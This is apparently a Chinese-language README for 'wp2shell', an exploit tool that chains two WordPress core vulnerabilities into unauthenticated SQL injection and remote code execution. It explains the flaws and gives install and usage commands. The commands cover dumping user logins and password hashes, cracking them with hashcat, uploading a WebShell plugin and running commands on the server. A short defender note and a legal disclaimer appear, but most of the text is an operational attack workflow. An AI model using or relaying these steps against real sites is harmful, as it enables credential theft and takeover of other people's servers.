WordPress 核心 POC 的未经身份验证的远程代码执行 (CVE-2026-63030 + CVE-2026-60137)
wp2shell 利用 WordPress 核心中的关键漏洞链。它将 REST API 批量路由混淆漏洞与 WP_Query 中的 SQL 注入漏洞结合,实现在易受攻击的 WordPress 安装上未经身份验证的远程代码执行。
| 详情 | 信息 |
|---|---|
| CVE | CVE-2026-63030 (REST 批量路由混淆) + CVE-2026-60137 (author__not_in SQL 注入) |
| 影响版本 | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| 已修复版本 | 6.9.5, 7.0.2 |
| 所需认证 | 无 — 无需认证 |
| CVSS | 严重 (RCE 链) |
| 发现者 | Adam Kues (Assetnote / Searchlight Cyber) |
| 依赖项 | Python 3.8+ — 仅标准库 |
该利用链将 WordPress 核心中的两个漏洞结合在一起:
CVE-2026-60137 — SQL 注入 – 当 author__not_in 以字符串形式传递而不是数组时,WordPress 会跳过 is_array() 检查,并将原始值直接插入到 NOT IN (...) SQL 子句中。
CVE-2026-63030 — 批量路由混淆 – /wp-json/batch/v1 端点构建了并行的 $matches 和 $validation 数组。一个格式错误的子请求会被追加到 $validation 中,但不会追加到 $matches 中,导致索引偏移 +1。子请求 i 会使用子请求 i+1 的处理程序执行。
组合利用:一个 POST /wp/v2/posts 请求携带一个内部 GET /wp/v2/users 请求,其中包含一个 author_exclude 字符串,从而绕过方法白名单和输入检查。该字符串以 author__not_in 形式进入 WP_Query 并被插入到 SQL 中——实现未经身份验证的盲 SQL 注入。
从那里开始,该工具可以:
git clone https://github.com/ekomsSavior/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
这就够了。无需第三方包。
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
启动交互式菜单,所有功能均可通过编号选项访问。
check — 确认漏洞(安全)执行时延探测以确认是否可利用。不读取任何数据,不更改任何内容。
./wp2shell.py http://target.com check
read — 提取数据(盲 SQL 注入)使用基于时间的盲 SQL 注入从数据库中提取信息。
# 服务器指纹(版本、数据库、用户)
./wp2shell.py http://target.com read
# 提取用户登录名和密码哈希
./wp2shell.py http://target.com read --users
# 提取数据库名称
./wp2shell.py http://target.com read --database
# 提取 MySQL 版本
./wp2shell.py http://target.com read --version
# 自定义 SQL 查询
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — 远程代码执行需要有效的管理员凭据。 SQL 注入可以恢复密码哈希,但您必须提供破解后的明文密码。
# 执行单条命令
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# 执行单条命令(简写形式)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
# 1. 检查目标是否易受攻击
./wp2shell.py https://example.com check
# 2. 提取管理员密码哈希
./wp2shell.py https://example.com read --users
# 3. 离线破解哈希(使用 hashcat、john 等)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. 使用恢复的密码执行命令
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| 分支 | 受影响 | 已修复 |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (仅 SQL 注入,无 RCE) | 6.8.6 |
6.9.0 之前的版本不受完整 RCE 链影响。
对于防御方:
requests 主体的 POST /wp-json/batch/v1 请求404 并不总是意味着“已修补”——也可能是 WAF/CDN 正在阻止匿名 REST API 访问此工具仅用于教育和授权的安全测试目的。
有关该漏洞的更多详细信息,请参阅 Searchlight Cyber 研究博客。
| 特性 | 描述 |
|---|
| 漏洞检查 | 安全的时延探测——不读取任何数据,不改变任何内容 |
| 数据提取 | 盲 SQL 注入,采用二分搜索优化实现高效提取 |
| 用户哈希转储 | 从 wp_users 中提取 user_login 和 user_pass 哈希 |
| 远程代码执行 | 以管理员身份认证,上传 WebShell 插件,执行命令 |
| 交互式 Shell | 持久的命令执行会话 |
| 彩色输出 | 扫描结果清晰的视觉反馈 |
| 无依赖项 | 仅使用 Python 标准库 |
| 选项 | 描述 |
|---|
--users | 从 wp_users 中提取 user_login 和 user_pass |
--database | 提取当前数据库名称 |
--version | 提取 MySQL 版本 |
--query "SQL" | 执行自定义 SQL 查询(盲提取) |
--user USER | 用于 RCE 的管理员用户名 |
--password PASS | 用于 RCE 的管理员密码(明文,通过 SQL 注入获取) |
--cmd CMD | 通过 WebShell 执行的命令 |